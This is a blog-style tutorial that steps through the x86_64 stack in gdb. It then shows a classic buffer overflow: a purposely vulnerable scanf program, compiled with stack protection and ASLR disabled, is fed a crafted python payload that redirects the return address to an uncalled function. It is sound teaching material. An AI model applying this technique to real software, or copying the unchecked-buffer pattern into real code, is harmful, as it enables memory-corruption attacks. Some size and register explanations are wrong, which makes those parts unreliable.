Buffer overflow on x86_64 tutorial
2022-01-17On this post I will use gdb to show how the stack works, what happens when you do a function call and how a user can exploit an unchecked buffer to overwrite the stack.
This tutorial assumes you are using a x86_64 linux pc.
Understanding the stack
The stack is a reserved space in memory where the executable stores local variables, function parameters and the return address for the function caller.
The top of the stack moves in decrements. It is like the opposite of an array.
On a typical x86_64 architecture executable, the top of the stack is stored on the rsp register (Stack Pointer) and the base of the stack is stored on the rbp register (Base Pointer).
We also have the rip (Instruction Pointer), a register that contains the address of the current instruction being executed.
Usually a function will only read and write on the stack inside the range from rsp to rbp (remember that rsp is always smaller than rbp because the stack top is decremented).
But this is not necessarilly true. You can compile c code in a way no checks will be done for stack access. In practice there are protections for this both by the compiler and by the OS that we will need to disable for our example to work.
Let's use gcc and gdb to see what goes on when a function is called.
Start by copying this code:
int c(short n){ return n + 1; } int b(){ short n = 42; return c(n); } int a(){ return b(); } int main(){ a(); }
Save it as main.c and then just compile it:
gcc main.c -o main
Let's start debugging it with gdb:
gdb main
To run the executable and stop at the first instruction type start:
(gdb) start Temporary breakpoint 1 at 0x117b Starting program: /home/carol/dev/backToBasics/understandingTheStack/main Temporary breakpoint 1, 0x000055555555517b in main ()
First, let's check the instructions for the main function using dissasemble:
(gdb) disassemble main Dump of assembler code for function main: 0x0000555555555173 <+0>: endbr64 0x0000555555555177 <+4>: push %rbp 0x0000555555555178 <+5>: mov %rsp,%rbp => 0x000055555555517b <+8>: mov $0x0,%eax 0x0000555555555180 <+13>: call 0x55555555515f <a> 0x0000555555555185 <+18>: mov $0x0,%eax 0x000055555555518a <+23>: pop %rbp 0x000055555555518b <+24>: ret End of assembler dump.
The instructions are executed left to right, so:
mov $0x0,%eax
is copying 0 to the register eax.
Gdb conveniently adds an arrow on the instruction currently on the rip register (Instruction Pointer)
We can see that on instruction +4 the value from the rbp (Base Pointer) is being pushed on the stack. This causes the rsp (Stack Pointer) to be incremented.
Then on +5 the current value for the Stack Pointer is being copied to the Base Pointer
All stack operations will be done from the Base Pointer address downwards.
0x0000555555555178 <+5>: mov %rsp,%rbp
We can inspect the values inside those two registers using the x command
(gdb) x $rbp 0x7fffffffdf10: 0x00000000 (gdb) x $rsp 0x7fffffffdf10: 0x00000000
There is nothing interesting going on right now here. Both registers have the same value pointing to the same memory address 0x7fffffffdf10.
We can move on to the next instruction:
(gdb) nexti 0x0000555555555180 in main () (gdb) disas main Dump of assembler code for function main: 0x0000555555555173 <+0>: endbr64 0x0000555555555177 <+4>: push %rbp 0x0000555555555178 <+5>: mov %rsp,%rbp 0x000055555555517b <+8>: mov $0x0,%eax => 0x0000555555555180 <+13>: call 0x55555555515f <a> 0x0000555555555185 <+18>: mov $0x0,%eax 0x000055555555518a <+23>: pop %rbp 0x000055555555518b <+24>: ret End of assembler dump.
Finnaly things are going to start getting interesting. We are going to call our first function a().
Take note that the instruction right after call on +18 has an address of 0x0000555555555185.
By the way, disas is an alias to disassemble. ni is an alias to nexti and si is an alias to stepi.
The difference between nexti and stepi is that stepi goes inside the call being made.
That's what we want right now so let's step into the next instruction.
(gdb) stepi 0x000055555555515f in a () (gdb) disas a Dump of assembler code for function a: => 0x000055555555515f <+0>: endbr64 0x0000555555555163 <+4>: push %rbp 0x0000555555555164 <+5>: mov %rsp,%rbp 0x0000555555555167 <+8>: mov $0x0,%eax 0x000055555555516c <+13>: call 0x555555555140 <b> 0x0000555555555171 <+18>: pop %rbp 0x0000555555555172 <+19>: ret End of assembler dump.
The first thing we see is that we are now inside the instructions for function a
See how on instructions +4 and +5 we do exactly the same thing we did on our main?
That's because, by convention, it is the responsability of the called function to restore the Base Pointer and keep track of the Stack Pointer. So, here the function keeps the Base Pointer for the stack inside the stack itself.
But before the content of the rbp register is pushed on the stack, let's take a look inside the Stack Pointer and the Base Pointer value.
(gdb) x $rbp 0x7fffffffdf10: 0x00000000 (gdb) x $rsp 0x7fffffffdf08: 0x55555185
The rsp value has changed from 0x7fffffffdf10 to 0x7fffffffdf08
That means the stack range from base to stack pointer has size:
0x7fffffffdf10 - 0x7fffffffdf08 = 8 bits
We can use the command x/2x $rsp to print the 2 bytes (8 bits) starting from rsp in hexadecimal.
We start from the rsp since the stack adresses grows in decrements.
(gdb) x/2x $rsp 0x7fffffffdf08: 0x55555185 0x00005555
We are on a system that uses little-endian meaning we need to read the byte from the bigger address first. This gives us:
0x0000555555555185
And if you look back again on the main function that is the address of the instruction right after the call for a().
0x0000555555555185 <+18>: mov $0x0,%eax
We can conclude then that the call instruction moves the rip to the address of a(), adds the return address to the stack and decrement the rsp so the stack contains the return address.
The fact that the return address is stored inside the stack is what the buffer overflow exploit takes advantage of. We can continue with the execution and come back to this later.
The function being called then updates the Base Pointer position so the return address in the range of the stack the function will manipulate.
We will add a breakpoint right before b() is called, continue the execution and then step into b() and disassemble it:
(gdb) disas a Dump of assembler code for function a: => 0x000055555555515f <+0>: endbr64 0x0000555555555163 <+4>: push %rbp 0x0000555555555164 <+5>: mov %rsp,%rbp 0x0000555555555167 <+8>: mov $0x0,%eax 0x000055555555516c <+13>: call 0x555555555140 <b> 0x0000555555555171 <+18>: pop %rbp 0x0000555555555172 <+19>: ret End of assembler dump. (gdb) break * a+13 Breakpoint 2 at 0x55555555516c (gdb) continue Continuing. Breakpoint 2, 0x000055555555516c in a () (gdb) si 0x0000555555555140 in b () (gdb) disas b Dump of assembler code for function b: => 0x0000555555555140 <+0>: endbr64 0x0000555555555144 <+4>: push %rbp 0x0000555555555145 <+5>: mov %rsp,%rbp 0x0000555555555148 <+8>: sub $0x10,%rsp 0x000055555555514c <+12>: movw $0x2a,-0x2(%rbp) 0x0000555555555152 <+18>: movswl -0x2(%rbp),%eax 0x0000555555555156 <+22>: mov %eax,%edi 0x0000555555555158 <+24>: call 0x555555555129 <c> 0x000055555555515d <+29>: leave 0x000055555555515e <+30>: ret End of assembler dump.
There is something more being done with the Stack Pointer now
0x0000555555555148 <+8>: sub $0x10,%rsp
At this instruction the Stack Pointer is being moved down 0x10 bits, which converting to decimal is 16 bits or 4 bytes.
This is done because local variables are also stored on the stack, and this instruction is reserving space to be used by our variable:
short n = 42;
A short has a size of 2 bytes but the rsp is moved 4 bytes. This is due the data alignment.
At this instruction:
0x000055555555514c <+12>: movw $0x2a,-0x2(%rbp)
The number 42 (0x2a in hexadecimal) is being copied to memory at the Base Pointer minus 2.
Then the value is copied from the stack at -0x2(%rbp) to the eax register
On +22, the value from the eax register is copied to the edi register.
As long as there are registers available, parameters are passed inside the registers. So, for c(short n), the value for n is inside the edi register.
If you want to see what happens when there are lots of parameters, see this example on godbolt.
Next, on instruction +24, we call c. 0x000055555555515d should be the call return address.
(gdb) break * b+24 Breakpoint 3 at 0x555555555158 (gdb) continue Continuing. Breakpoint 3, 0x0000555555555158 in b () (gdb) si 0x0000555555555129 in c () (gdb) disas c Dump of assembler code for function c: => 0x0000555555555129 <+0>: endbr64 0x000055555555512d <+4>: push %rbp 0x000055555555512e <+5>: mov %rsp,%rbp 0x0000555555555131 <+8>: mov %edi,%eax 0x0000555555555133 <+10>: mov %ax,-0x4(%rbp) 0x0000555555555137 <+14>: movswl -0x4(%rbp),%eax 0x000055555555513b <+18>: add $0x1,%eax 0x000055555555513e <+21>: pop %rbp 0x000055555555513f <+22>: ret End of assembler dump.
We are now on our last function on the call hierarchy. The first two instructions are the same as before.
Save the original Base Pointer on the stack and copy the Stack Pointer as the new Base Pointer.
Instruction +8 copies the parameter from edi to another register, eax.
We are dealing with a short value (short has 2 bytes) and the register eax has size 16 bits (4 bytes)
The least significant 2 bytes of EAX can be treated as a 16-bit register called AX.
At +10 it copies the value of AX to the stack. At +14 it copies it again to eax and at +18 it adds 1 to eax
The eax register holds the value returned from the function.
Let's put a breakpoint at +21 and look at the stack starting from the rsp until 0x7fffffffdf10, which was the address for the Base Pointer on main()
(gdb) break * c+21 Breakpoint 4 at 0x55555555513e (gdb) continue Continuing. Breakpoint 4, 0x000055555555513e in c () (gdb) disas c Dump of assembler code for function c: 0x0000555555555129 <+0>: endbr64 0x000055555555512d <+4>: push %rbp 0x000055555555512e <+5>: mov %rsp,%rbp 0x0000555555555131 <+8>: mov %edi,%eax 0x0000555555555133 <+10>: mov %ax,-0x4(%rbp) 0x0000555555555137 <+14>: movswl -0x4(%rbp),%eax 0x000055555555513b <+18>: add $0x1,%eax => 0x000055555555513e <+21>: pop %rbp 0x000055555555513f <+22>: ret End of assembler dump. (gdb) x/2x $rsp 0x7fffffffded0: 0xffffdef0 0x00007fff
0x7fffffffdf10 − 0x7fffffffded0 = 0x40 , converting to decimal gives 64 bits, divided by 4 results in 16 bytes
(gdb) x/16x $rsp 0x7fffffffded0: 0xffffdef0 0x00007fff 0x5555515d 0x00005555 0x7fffffffdee0: 0x00000000 0x00000000 0x55555190 0x002a5555 0x7fffffffdef0: 0xffffdf00 0x00007fff 0x55555171 0x00005555 0x7fffffffdf00: 0xffffdf10 0x00007fff 0x55555185 0x00005555
Fixing for Endianness and reading from low to high address, we can try figuring out what we have on the stack:
0x0000555555555185 -> The return address on the main function 0x00007fffffffdf10 -> The Base Pointer address at main() 0x0000555555555171 -> The return address on a() 0x00007fffffffdf00 -> The Base Pointer address at a() 0x002a -> The local variable at b() with value 42. It occupies only 2 bytes 0x555555555190 -> Whatever was on memory before we stored 42, we only care about the least significant 2 bytes, so this is ignored 0x00000000 -> padding, also ignored 0x00000000 -> padding, also ignored 0x000055555555515d -> The return address on b() 0x00007fffffffdef0 -> The Base Pointer address at b()
Now that we got to the last instructions on the call hierarchy, we can run two more instructions.
Instruction +21 should revert the stack Base Pointer to the one stored at the beginning of the function.
pop will copy the value on top of the stack to rbp and increment rsp. Since the stack wasn't used for anything, it contains the value for the original Base Pointer.
Instruction +22 should use the address at the top of the stack as the next insturction on the rip (Instructon Pointer)
ret is equivalent to: pop register; jmp register;
(gdb) disas Dump of assembler code for function c: 0x0000555555555129 <+0>: endbr64 0x000055555555512d <+4>: push %rbp 0x000055555555512e <+5>: mov %rsp,%rbp 0x0000555555555131 <+8>: mov %edi,%eax 0x0000555555555133 <+10>: mov %ax,-0x4(%rbp) 0x0000555555555137 <+14>: movswl -0x4(%rbp),%eax 0x000055555555513b <+18>: add $0x1,%eax => 0x000055555555513e <+21>: pop %rbp 0x000055555555513f <+22>: ret End of assembler dump. (gdb) x/2x $rbp 0x7fffffffded0: 0xffffdef0 0x00007fff (gdb) x/2x $rsp 0x7fffffffded0: 0xffffdef0 0x00007fff
At this point both Base Pointer and Stack Pointer have the same value.
(gdb) ni 0x000055555555513f in c () (gdb) x/2x $rbp 0x7fffffffdef0: 0xffffdf00 0x00007fff (gdb) x/2x $rsp 0x7fffffffded8: 0x5555515d 0x00005555
When we pop to rbp the value from the memory address inside Stack Pointer is copied to rbp.
In this case rsp was pointing to 0x7fffffffded0 and on this address the value was 0x7fffffffdef0.
Pop also incemented rsp from 0x7fffffffded0 to 0x7fffffffded8. Remember the stack start is bigger than the top so the stack is now smaller. At the top of the stack we have now 0x000055555555515d.
(gdb) ni 0x000055555555515d in b () (gdb) x $rbp 0x7fffffffdef0: 0xffffdf00 (gdb) x $rsp 0x7fffffffdee0: 0x00000000 (gdb) disas Dump of assembler code for function b: 0x0000555555555140 <+0>: endbr64 0x0000555555555144 <+4>: push %rbp 0x0000555555555145 <+5>: mov %rsp,%rbp 0x0000555555555148 <+8>: sub $0x10,%rsp 0x000055555555514c <+12>: movw $0x2a,-0x2(%rbp) 0x0000555555555152 <+18>: movswl -0x2(%rbp),%eax 0x0000555555555156 <+22>: mov %eax,%edi 0x0000555555555158 <+24>: call 0x555555555129 <c> => 0x000055555555515d <+29>: leave 0x000055555555515e <+30>: ret End of assembler dump.
ret on b popped the value from the top of the stack and jumped to the popped address.
The Instruction pointer is now inside b() and is going to call the leave instruction. This is equivalent to:
mov %rbp, %rsp -> Move the top of the stack to the base pop %rbp -> Pop from the stack, this is the original Base Pointer
And looking into our registers:
(gdb) disas Dump of assembler code for function b: 0x0000555555555140 <+0>: endbr64 0x0000555555555144 <+4>: push %rbp 0x0000555555555145 <+5>: mov %rsp,%rbp 0x0000555555555148 <+8>: sub $0x10,%rsp 0x000055555555514c <+12>: movw $0x2a,-0x2(%rbp) 0x0000555555555152 <+18>: movswl -0x2(%rbp),%eax 0x0000555555555156 <+22>: mov %eax,%edi 0x0000555555555158 <+24>: call 0x555555555129 <c> => 0x000055555555515d <+29>: leave 0x000055555555515e <+30>: ret End of assembler dump. (gdb) x/2x $rbp 0x7fffffffdef0: 0xffffdf00 0x00007fff (gdb) x/2x $rsp 0x7fffffffdee0: 0x00000000 0x00000000 (gdb) ni 0x000055555555515e in b () (gdb) x/2x $rbp 0x7fffffffdf00: 0xffffdf10 0x00007fff (gdb) x/2x $rsp 0x7fffffffdef8: 0x55555171 0x00005555
And then return will do the same as it did on c()
The most important thing to notice was that the stack holds both local variables data and the return adresses from function calls.
With this general idea on how the stack works, what goes inside it and how it is used to jump back and forth instructions we can go on to another example.
Rewriting the stack using Buffer Overflow
For this example to easily work we will need to turn off some OS protections.
Don't worry, we will do it in a way that is only temporary. First we need to force the OS to stop randomizing the virtual address so we can reliably reference an address. If Address Space Layout Randomization (ASLR) is on (default) the adressess will be different on each execution.
sudo -i echo "0" > /proc/sys/kernel/randomize_va_space echo This should print 0 cat /proc/sys/kernel/randomize_va_space
We will also need to compile with gcc using the flag -fno-stack-protector
This is the code we are going to exploit:
#include <stdio.h> void unrelated(){ printf("This should not be called\n"); } void enterString(){ char buffer[2]; printf("Enter two characters:\n"); scanf("%s", buffer); printf("%s\n", buffer); } int main(){ enterString(); }
It is not doing anything usefull. It asks for two characters, write them into a buffer array and then print it. There is also a function that is not called. For simplicity sake we will exploit the buffer overflow to call that function. Another thing that can also be done is writing a function to be called on the stack itself. This would require a little more work.
Because on our experiment we will not execute the stack, the flag -z execstack is optional. I will keep it just in case you want to try doing it on your own.
Save it as buff.c and compile it with:
gcc -no-pie -fno-stack-protector -z execstack buff.c -o buff
Then run it:
./buff Enter two characters: ab ab
And now we run it with gdb. The value on the ascii table for a is 0x61 (hexadecimal) and for b is 0x62.
gdb buff (gdb) start Temporary breakpoint 1 at 0x4011b4 Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff Temporary breakpoint 1, 0x00000000004011b4 in main () (gdb) disas Dump of assembler code for function main: 0x00000000004011ac <+0>: endbr64 0x00000000004011b0 <+4>: push %rbp 0x00000000004011b1 <+5>: mov %rsp,%rbp => 0x00000000004011b4 <+8>: mov $0x0,%eax 0x00000000004011b9 <+13>: call 0x40116d0x00000000004011be <+18>: mov $0x0,%eax 0x00000000004011c3 <+23>: pop %rbp 0x00000000004011c4 <+24>: ret End of assembler dump. (gdb) si 0x00000000004011b9 in main () (gdb) si 0x000000000040116d in enterString () (gdb) disas Dump of assembler code for function enterString: => 0x000000000040116d <+0>: endbr64 0x0000000000401171 <+4>: push %rbp 0x0000000000401172 <+5>: mov %rsp,%rbp 0x0000000000401175 <+8>: sub $0x10,%rsp 0x0000000000401179 <+12>: lea 0xe9e(%rip),%rdi # 0x40201e 0x0000000000401180 <+19>: call 0x401050 0x0000000000401185 <+24>: lea -0x2(%rbp),%rax 0x0000000000401189 <+28>: mov %rax,%rsi 0x000000000040118c <+31>: lea 0xea1(%rip),%rdi # 0x402034 0x0000000000401193 <+38>: mov $0x0,%eax 0x0000000000401198 <+43>: call 0x401060 <__isoc99_scanf@plt> 0x000000000040119d <+48>: lea -0x2(%rbp),%rax 0x00000000004011a1 <+52>: mov %rax,%rdi 0x00000000004011a4 <+55>: call 0x401050 0x00000000004011a9 <+60>: nop 0x00000000004011aa <+61>: leave 0x00000000004011ab <+62>: ret End of assembler dump. (gdb) break * enterString+43 Breakpoint 2 at 0x401198 (gdb) continue Continuing. Enter two characters: Breakpoint 2, 0x0000000000401198 in enterString ()
Before continuing, let's look at the stack. Since we don't really care about the Base Pointer, we print the first 32 bytes from the stack.
(gdb) ni ab 0x000000000040119d in enterString () (gdb) x/32x $rsp 0x7fffffffdeb0: 0x00000000 0x00000000 0x00401070 0x62610000 0x7fffffffdec0: 0xffffde00 0x00007fff 0x004011be 0x00000000 0x7fffffffded0: 0x00000000 0x00000000 0xf7dec565 0x00007fff 0x7fffffffdee0: 0xffffdfc8 0x00007fff 0xf7fc7000 0x00000001 0x7fffffffdef0: 0x004011ac 0x00000000 0xffffe2d9 0x00007fff 0x7fffffffdf00: 0x004011d0 0x00000000 0xc54d1eb6 0x02450e1b 0x7fffffffdf10: 0x00401070 0x00000000 0x00000000 0x00000000 0x7fffffffdf20: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb)
This is stack we see for a well behaved input.
See that inside the stack at 0x7fffffffdec0 we have 0x004011be 0x00000000, the address on main() for the Instruction Pointer to return to.
What happens if we type the whole alphabet as the input?
(gdb) start (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 3 at 0x4011b4 Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff Temporary breakpoint 3, 0x00000000004011b4 in main () (gdb) break * enterString+43 Note: breakpoint 2 also set at pc 0x401198. Breakpoint 4 at 0x401198 (gdb) continue Continuing. Enter two characters: Breakpoint 2, 0x0000000000401198 in enterString () (gdb) ni abcdefghijklmnopqrstuvwxyz 0x000000000040119d in enterString () (gdb) x/32x $rsp 0x7fffffffdeb0: 0x00000000 0x00000000 0x00401070 0x62610000 0x7fffffffdec0: 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f 0x7fffffffded0: 0x76757473 0x7a797877 0xf7dec500 0x00007fff 0x7fffffffdee0: 0xffffdfc8 0x00007fff 0xf7fc7000 0x00000001 0x7fffffffdef0: 0x004011ac 0x00000000 0xffffe2d9 0x00007fff 0x7fffffffdf00: 0x004011d0 0x00000000 0x129d1190 0x4120e741 0x7fffffffdf10: 0x00401070 0x00000000 0x00000000 0x00000000 0x7fffffffdf20: 0x00000000 0x00000000 0x00000000 0x00000000
If you look again at 0x7fffffffdec0 you will see 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f where the return address used to be.
And looking at an ASCII table you will find out that 0x66656463 0x6a696867 0x6e6d6c6b 0x7271706f is the value for fedc jihg nmlk rqpo
What is happening is that scanf is not doing any check so as long we keep giving an input, scanf will keep writing it to the stack, eventually overriding other values. The input is little-endian.
Now, we know we need to replace nmlk rqpo on our input with the address for our unrelated function and keep the Base Pointer at fedc jihg.
Let's find the address for the unrelated function first:
(gdb) disas unrelated Dump of assembler code for function unrelated: 0x0000000000401156 <+0>: endbr64 0x000000000040115a <+4>: push %rbp 0x000000000040115b <+5>: mov %rsp,%rbp 0x000000000040115e <+8>: lea 0xe9f(%rip),%rdi # 0x402004 0x0000000000401165 <+15>: call 0x4010500x000000000040116a <+20>: nop 0x000000000040116b <+21>: pop %rbp 0x000000000040116c <+22>: ret End of assembler dump.
0x0000000000401156, so rqpo needs to be 0000 and nmlk to be 0x00401156.
And fedc jihg needs to be 0xffffde00 0x00007fff. Meaning:
- c -> \x00
- d -> \xde
- e -> \xff
- f -> \xff
- g -> \xff
- h -> \x7f
- i -> \x00
- j -> \x00
- k -> \x56
- l -> \x11
- m -> \x40
- n -> \x00
- o -> \x00
- p -> \x00
- q -> \x00
- r -> \x00
We can generate this input to a file and pass it to gdb with python 2.
python -c 'print("ab" + "\x00\xde\xff\xff\xff\x7f\x00\x00\x56\x11\x40\x00\x00\x00\x00\x00")' > rewrite
gdb buff (gdb) disas enterString Dump of assembler code for function enterString: 0x000000000040116d <+0>: endbr64 0x0000000000401171 <+4>: push %rbp 0x0000000000401172 <+5>: mov %rsp,%rbp 0x0000000000401175 <+8>: sub $0x10,%rsp 0x0000000000401179 <+12>: lea 0xe9e(%rip),%rdi # 0x40201e 0x0000000000401180 <+19>: call 0x4010500x0000000000401185 <+24>: lea -0x2(%rbp),%rax 0x0000000000401189 <+28>: mov %rax,%rsi 0x000000000040118c <+31>: lea 0xea1(%rip),%rdi # 0x402034 0x0000000000401193 <+38>: mov $0x0,%eax 0x0000000000401198 <+43>: call 0x401060 <__isoc99_scanf@plt> 0x000000000040119d <+48>: lea -0x2(%rbp),%rax 0x00000000004011a1 <+52>: mov %rax,%rdi 0x00000000004011a4 <+55>: call 0x401050 0x00000000004011a9 <+60>: nop 0x00000000004011aa <+61>: leave 0x00000000004011ab <+62>: ret End of assembler dump. (gdb) break * enterString+48 (gdb) run < rewrite Starting program: /home/carol/dev/backToBasics/understandingTheStack/bufferExploit/buff < rewrite Enter two characters: Breakpoint 1, 0x000000000040119d in enterString () (gdb) x/32x $rsp 0x7fffffffdeb0: 0x00000000 0x00000000 0x00401070 0x62610000 0x7fffffffdec0: 0xffffde00 0x00007fff 0x00401156 0x00000000 0x7fffffffded0: 0x00000000 0x00000000 0xf7dec565 0x00007fff 0x7fffffffdee0: 0xffffdfc8 0x00007fff 0xf7fc7000 0x00000001 0x7fffffffdef0: 0x004011ac 0x00000000 0xffffe2d9 0x00007fff 0x7fffffffdf00: 0x004011d0 0x00000000 0xa5639444 0xe0ff1476 0x7fffffffdf10: 0x00401070 0x00000000 0x00000000 0x00000000 0x7fffffffdf20: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) continue Continuing. ab This should not be called Program received signal SIGSEGV, Segmentation fault. 0x0000000000000000 in ?? ()
Success! With our payload 0x7fffffffdec0 contains the return for the unrelated function. When we execute the rest of the code, the message "This should not be called" is printed. This works also by calling the executable directly:
./buff < rewrite Enter two characters: ab This should not be called [1] 167594 segmentation fault (core dumped) ./buff < rewrite
Links:
This tutorial follows the instructions from: